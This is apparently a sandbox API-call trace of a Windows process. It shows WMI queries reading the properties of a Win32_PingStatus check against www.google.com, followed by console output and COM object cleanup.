SysStringByteLen (bstr="__GENUS") returned 0xe [0138.754] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.754] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.755] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.755] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.755] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.755] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.755] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.755] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.755] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.755] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.755] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.755] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.755] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.755] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.755] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.755] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.755] SysStringByteLen (bstr="__PATH") returned 0xc [0138.755] SysStringByteLen (bstr="__PATH") returned 0xc [0138.755] IWbemClassObject:Get (in: This=0x507f00, wszName="__GENUS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245e7a0*=0, plFlavor=0x245e7a4*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x245e7a0*=3, plFlavor=0x245e7a4*=64) returned 0x0 [0138.756] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245e7d4*=0, plFlavor=0x245e7d8*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x245e7d4*=8, plFlavor=0x245e7d8*=64) returned 0x0 [0138.756] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.756] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.756] IWbemClassObject:Get (in: This=0x507f00, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245e82c*=0, plFlavor=0x245e830*=0 | out: pVal=0x59ee9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245e82c*=8, plFlavor=0x245e830*=64) returned 0x0 [0138.756] IWbemClassObject:Get (in: This=0x507f00, wszName="__DYNASTY", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245e854*=0, plFlavor=0x245e858*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x245e854*=8, plFlavor=0x245e858*=64) returned 0x0 [0138.756] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.756] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.756] IWbemClassObject:Get (in: This=0x507f00, wszName="__RELPATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245e8ac*=0, plFlavor=0x245e8b0*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x245e8ac*=8, plFlavor=0x245e8b0*=64) returned 0x0 [0138.756] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.756] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.756] IWbemClassObject:Get (in: This=0x507f00, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245ea88*=0, plFlavor=0x245ea8c*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x245ea88*=3, plFlavor=0x245ea8c*=64) returned 0x0 [0138.757] IWbemClassObject:Get (in: This=0x507f00, wszName="__DERIVATION", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245eabc*=0, plFlavor=0x245eac0*=0 | out: pVal=0x59ee9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x245eabc*=8200, plFlavor=0x245eac0*=64) returned 0x0 [0138.757] IWbemClassObject:Get (in: This=0x507f00, wszName="__SERVER", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245eaf0*=0, plFlavor=0x245eaf4*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x245eaf0*=8, plFlavor=0x245eaf4*=64) returned 0x0 [0138.757] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.757] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.757] IWbemClassObject:Get (in: This=0x507f00, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245eb3c*=0, plFlavor=0x245eb40*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x245eb3c*=8, plFlavor=0x245eb40*=64) returned 0x0 [0138.757] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.757] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.757] IWbemClassObject:Get (in: This=0x507f00, wszName="__PATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245eb88*=0, plFlavor=0x245eb8c*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x245eb88*=8, plFlavor=0x245eb8c*=64) returned 0x0 [0138.758] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.758] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.758] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eea10 | out: puCount=0x59eea10*=0x2) returned 0x0 [0138.758] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0x0, pszText=0x0 | out: puBuffLength=0x59eea0c*=0xf, pszText=0x0) returned 0x0 [0138.758] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.758] IWbemClassObject:Get (in: This=0x507f00, wszName="WriteInformationStream", lFlags=0, pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245edc0*=0, plFlavor=0x245edc4*=0 | out: pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245edc0*=0, plFlavor=0x245edc4*=0) returned 0x80041002 [0138.758] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59ee9f0 | out: pperrinfo=0x59ee9f0*=0x0) returned 0x1 [0138.759] CoGetClassObject (in: rclsid=0x4f3e35c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59ee650 | out: ppv=0x59ee650*=0x4f4b270) returned 0x0 [0138.760] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b270, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee868 | out: ppvObject=0x59ee868*=0x0) returned 0x80004002 [0138.760] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x4f4b270, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee874 | out: ppvObject=0x59ee874*=0x4f4b2c0) returned 0x0 [0138.760] WbemStatusCodeText:IUnknown:Release (This=0x4f4b270) returned 0x0 [0138.760] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b2c0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee494 | out: ppvObject=0x59ee494*=0x4f4b2c0) returned 0x0 [0138.760] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b2c0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee448 | out: ppvObject=0x59ee448*=0x0) returned 0x80004002 [0138.760] WbemStatusCodeText:IUnknown:AddRef (This=0x4f4b2c0) returned 0x3 [0138.760] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b2c0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edda4 | out: ppvObject=0x59edda4*=0x0) returned 0x80004002 [0138.760] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b2c0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59edd54 | out: ppvObject=0x59edd54*=0x0) returned 0x80004002 [0138.760] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b2c0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59edd60 | out: ppvObject=0x59edd60*=0x0) returned 0x80004002 [0138.760] CoGetContextToken (in: pToken=0x59eddc0 | out: pToken=0x59eddc0) returned 0x0 [0138.761] CoGetContextToken (in: pToken=0x59ee1d4 | out: pToken=0x59ee1d4) returned 0x0 [0138.761] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b2c0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee254 | out: ppvObject=0x59ee254*=0x0) returned 0x80004002 [0138.761] WbemStatusCodeText:IUnknown:Release (This=0x4f4b2c0) returned 0x2 [0138.761] WbemStatusCodeText:IUnknown:Release (This=0x4f4b2c0) returned 0x1 [0138.761] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0138.761] CoGetContextToken (in: pToken=0x59ee7b4 | out: pToken=0x59ee7b4) returned 0x0 [0138.761] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b2c0, riid=0x59ee884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59ee880 | out: ppvObject=0x59ee880*=0x4f4b2c0) returned 0x0 [0138.761] WbemStatusCodeText:IUnknown:AddRef (This=0x4f4b2c0) returned 0x3 [0138.761] WbemStatusCodeText:IUnknown:Release (This=0x4f4b2c0) returned 0x2 [0138.761] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x4f4b2c0, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59ee9e4 | out: MessageText=0x59ee9e4*="Not found ") returned 0x0 [0138.761] SysStringByteLen (bstr="Not found ") returned 0x14 [0138.762] GetConsoleOutputCP () returned 0x1b5 [0138.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0138.800] GetConsoleOutputCP () returned 0x1b5 [0138.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0138.800] GetConsoleOutputCP () returned 0x1b5 [0138.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0138.800] GetConsoleOutputCP () returned 0x1b5 [0138.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0138.800] GetConsoleOutputCP () returned 0x1b5 [0138.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0138.801] GetConsoleOutputCP () returned 0x1b5 [0138.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0138.801] GetConsoleOutputCP () returned 0x1b5 [0138.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0138.801] GetConsoleOutputCP () returned 0x1b5 [0138.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0138.801] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59eebb0 | out: lpConsoleScreenBufferInfo=0x59eebb0) returned 1 [0138.802] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59eeba8 | out: lpMode=0x59eeba8) returned 1 [0138.802] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x245f38c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x59eeb9c, lpReserved=0x0 | out: lpBuffer=0x245f38c*, lpNumberOfCharsWritten=0x59eeb9c*=0x4f) returned 1 [0138.802] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59eeba8 | out: lpMode=0x59eeba8) returned 1 [0138.803] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2430324*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x59eeb9c, lpReserved=0x0 | out: lpBuffer=0x2430324*, lpNumberOfCharsWritten=0x59eeb9c*=0x2) returned 1 [0138.803] CoGetContextToken (in: pToken=0x59eedac | out: pToken=0x59eedac) returned 0x0 [0138.803] IEnumWbemClassObject:Clone (in: This=0x4af298, ppEnum=0x59eef64 | out: ppEnum=0x59eef64*=0x4af4f0) returned 0x0 [0138.866] IUnknown:QueryInterface (in: This=0x4af4f0, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee20 | out: ppvObject=0x59eee20*=0x4af4f4) returned 0x0 [0138.866] IClientSecurity:QueryBlanket (in: This=0x4af4f4, pProxy=0x4af4f0, pAuthnSvc=0x59eee70, pAuthzSvc=0x59eee6c, pServerPrincName=0x59eee64, pAuthnLevel=0x59eee68, pImpLevel=0x59eee58, pAuthInfo=0x59eee5c, pCapabilites=0x59eee60 | out: pAuthnSvc=0x59eee70*=0xa, pAuthzSvc=0x59eee6c*=0x0, pServerPrincName=0x59eee64, pAuthnLevel=0x59eee68*=0x6, pImpLevel=0x59eee58*=0x2, pAuthInfo=0x59eee5c, pCapabilites=0x59eee60*=0x1) returned 0x0 [0138.867] IUnknown:Release (This=0x4af4f4) returned 0x1 [0138.867] IUnknown:QueryInterface (in: This=0x4af4f0, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee14 | out: ppvObject=0x59eee14*=0x535d7c) returned 0x0 [0138.867] IUnknown:QueryInterface (in: This=0x4af4f0, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee00 | out: ppvObject=0x59eee00*=0x4af4f4) returned 0x0 [0138.867] IClientSecurity:SetBlanket (This=0x4af4f4, pProxy=0x4af4f0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0138.879] IUnknown:Release (This=0x4af4f4) returned 0x2 [0138.879] WbemLocator:IUnknown:Release (This=0x535d7c) returned 0x1 [0138.879] CoTaskMemFree (pv=0x4f3e380) [0138.879] IUnknown:AddRef (This=0x4af4f0) returned 0x2 [0138.880] CoGetContextToken (in: pToken=0x59ee330 | out: pToken=0x59ee330) returned 0x0 [0138.880] CoGetContextToken (in: pToken=0x59ee744 | out: pToken=0x59ee744) returned 0x0 [0138.880] IUnknown:QueryInterface (in: This=0x4af4f0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee6dc | out: ppvObject=0x59ee6dc*=0x535d64) returned 0x0 [0138.880] WbemLocator:IRpcOptions:Query (in: This=0x535d64, pPrx=0x4f4b758, dwProperty=2, pdwValue=0x59ee7d0 | out: pdwValue=0x59ee7d0) returned 0x80004002 [0138.880] WbemLocator:IUnknown:Release (This=0x535d64) returned 0x2 [0138.881] CoGetContextToken (in: pToken=0x59eed14 | out: pToken=0x59eed14) returned 0x0 [0138.881] CoGetContextToken (in: pToken=0x59eec74 | out: pToken=0x59eec74) returned 0x0 [0138.881] IUnknown:QueryInterface (in: This=0x4af4f0, riid=0x59eed44*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59eec10 | out: ppvObject=0x59eec10*=0x4af4f0) returned 0x0 [0138.881] IUnknown:Release (This=0x4af4f0) returned 0x2 [0138.881] SysStringLen (param_1=0x0) returned 0x0 [0138.881] IEnumWbemClassObject:Reset (This=0x4af4f0) returned 0x0 [0138.886] CoTaskMemAlloc (cb=0x4) returned 0x4f4b2f0 [0138.886] IEnumWbemClassObject:Next (in: This=0x4af4f0, lTimeout=-1, uCount=0x1, apObjects=0x4f4b2f0, puReturned=0x245f470 | out: apObjects=0x4f4b2f0*=0x4f365b0, puReturned=0x245f470*=0x1) returned 0x0 [0138.889] IUnknown:QueryInterface (in: This=0x4f365b0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee5bc | out: ppvObject=0x59ee5bc*=0x4f365b0) returned 0x0 [0138.889] IUnknown:QueryInterface (in: This=0x4f365b0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee570 | out: ppvObject=0x59ee570*=0x0) returned 0x80004002 [0138.889] IUnknown:QueryInterface (in: This=0x4f365b0, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee398 | out: ppvObject=0x59ee398*=0x0) returned 0x80004002 [0138.890] IUnknown:AddRef (This=0x4f365b0) returned 0x3 [0138.890] IUnknown:QueryInterface (in: This=0x4f365b0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edecc | out: ppvObject=0x59edecc*=0x0) returned 0x80004002 [0138.890] IUnknown:QueryInterface (in: This=0x4f365b0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59ede7c | out: ppvObject=0x59ede7c*=0x0) returned 0x80004002 [0138.890] IUnknown:QueryInterface (in: This=0x4f365b0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ede88 | out: ppvObject=0x59ede88*=0x4f365b4) returned 0x0 [0138.890] IMarshal:GetUnmarshalClass (in: This=0x4f365b4, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x59ede90 | out: pCid=0x59ede90*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0138.890] IUnknown:Release (This=0x4f365b4) returned 0x3 [0138.890] CoGetContextToken (in: pToken=0x59edee8 | out: pToken=0x59edee8) returned 0x0 [0138.890] CoGetContextToken (in: pToken=0x59ee2fc | out: pToken=0x59ee2fc) returned 0x0 [0138.890] IUnknown:QueryInterface (in: This=0x4f365b0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee37c | out: ppvObject=0x59ee37c*=0x0) returned 0x80004002 [0138.890] IUnknown:Release (This=0x4f365b0) returned 0x2 [0138.890] CoGetContextToken (in: pToken=0x59ee8e4 | out: pToken=0x59ee8e4) returned 0x0 [0138.890] CoGetContextToken (in: pToken=0x59ee844 | out: pToken=0x59ee844) returned 0x0 [0138.890] IUnknown:QueryInterface (in: This=0x4f365b0, riid=0x59ee914*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x59ee910 | out: ppvObject=0x59ee910*=0x4f365b0) returned 0x0 [0138.890] IUnknown:AddRef (This=0x4f365b0) returned 0x4 [0138.890] IUnknown:Release (This=0x4f365b0) returned 0x3 [0138.890] IUnknown:Release (This=0x4f365b0) returned 0x2 [0138.890] CoTaskMemFree (pv=0x4f4b2f0) [0138.891] CoGetContextToken (in: pToken=0x59eec54 | out: pToken=0x59eec54) returned 0x0 [0138.891] IUnknown:AddRef (This=0x4f365b0) returned 0x3 [0138.891] CoTaskMemAlloc (cb=0x4) returned 0x4f4b2f0 [0138.891] IEnumWbemClassObject:Next (in: This=0x4af4f0, lTimeout=-1, uCount=0x1, apObjects=0x4f4b2f0, puReturned=0x245f470 | out: apObjects=0x4f4b2f0*=0x0, puReturned=0x245f470*=0x0) returned 0x1 [0138.897] CoTaskMemFree (pv=0x4f4b2f0) [0139.943] CoTaskMemAlloc (cb=0x4) returned 0x4f4b2f0 [0139.944] IEnumWbemClassObject:Next (in: This=0x4af360, lTimeout=-1, uCount=0x1, apObjects=0x4f4b2f0, puReturned=0x24321cc | out: apObjects=0x4f4b2f0*=0x0, puReturned=0x24321cc*=0x0) returned 0x1 [0139.966] CoTaskMemFree (pv=0x4f4b2f0) [0139.966] CoGetContextToken (in: pToken=0x59eee98 | out: pToken=0x59eee98) returned 0x0 [0139.966] IUnknown:Release (This=0x4af360) returned 0x1 [0139.966] IUnknown:Release (This=0x4af360) returned 0x0 [0140.022] CoGetContextToken (in: pToken=0x59eee98 | out: pToken=0x59eee98) returned 0x0 [0140.022] IUnknown:Release (This=0x4af298) returned 0x1 [0140.022] IUnknown:Release (This=0x4af298) returned 0x0 [0140.030] CoGetContextToken (in: pToken=0x59eec84 | out: pToken=0x59eec84) returned 0x0 [0140.030] CoGetContextToken (in: pToken=0x59eebe4 | out: pToken=0x59eebe4) returned 0x0 [0140.031] CoGetContextToken (in: pToken=0x59eebe4 | out: pToken=0x59eebe4) returned 0x0 [0140.031] CoUnmarshalInterface (in: pStm=0x4f0e1e8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59eebd8 | out: ppv=0x59eebd8*=0x5358cc) returned 0x0 [0140.032] CoMarshalInterface (pStm=0x4f0e1e8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x5358cc, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 